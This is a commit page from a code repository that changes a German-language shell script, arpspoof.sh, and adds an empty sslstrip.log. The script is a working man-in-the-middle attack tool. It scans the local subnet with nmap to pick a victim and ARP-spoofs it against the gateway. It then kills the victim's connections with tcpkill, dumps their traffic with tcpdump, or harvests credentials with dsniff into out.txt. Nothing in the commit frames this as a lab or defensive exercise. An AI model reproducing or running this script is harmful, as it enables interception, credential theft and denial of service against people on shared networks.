taskill
This commit is contained in:
parent
a601515d5c
commit
a84a9dc416
2 changed files with 22 additions and 8 deletions
24
arpspoof.sh
24
arpspoof.sh
|
@ -10,15 +10,29 @@ fi
|
||||||
|
|
||||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||||
|
|
||||||
gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
|
gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 )
|
||||||
|
|
||||||
arp
|
if [ -z "$1" ]; then
|
||||||
ip link
|
ip link
|
||||||
read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul
|
read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul
|
||||||
|
else
|
||||||
|
modul="$1"
|
||||||
|
fi
|
||||||
|
if [ -z "$2" ]; then
|
||||||
nmap -sn ${gateway}/24
|
nmap -sn ${gateway}/24
|
||||||
read -p "Wie heisst die IP? : " ip
|
read -p "Wie heisst die IP? : " ip
|
||||||
|
else
|
||||||
|
ip="$2"
|
||||||
|
fi
|
||||||
|
|
||||||
arpspoof -i $modul -t $ip -r $gateway &
|
arpspoof -i $modul -t $ip -r $gateway &
|
||||||
|
|
||||||
tcpdump -i $modul -A host $ip
|
sleep 2
|
||||||
|
|
||||||
|
if [ -z "$3" ]; then
|
||||||
|
tcpkill -9 host $ip
|
||||||
|
elif [ "$3" == "tcpdump" ]; then
|
||||||
|
tcpdump -i $modul -A host $ip >> out.txt
|
||||||
|
else
|
||||||
|
dsniff -i $modul -w out.txt
|
||||||
|
fi
|
||||||
|
|
0
sslstrip.log
Normal file
0
sslstrip.log
Normal file
Loading…
Reference in a new issue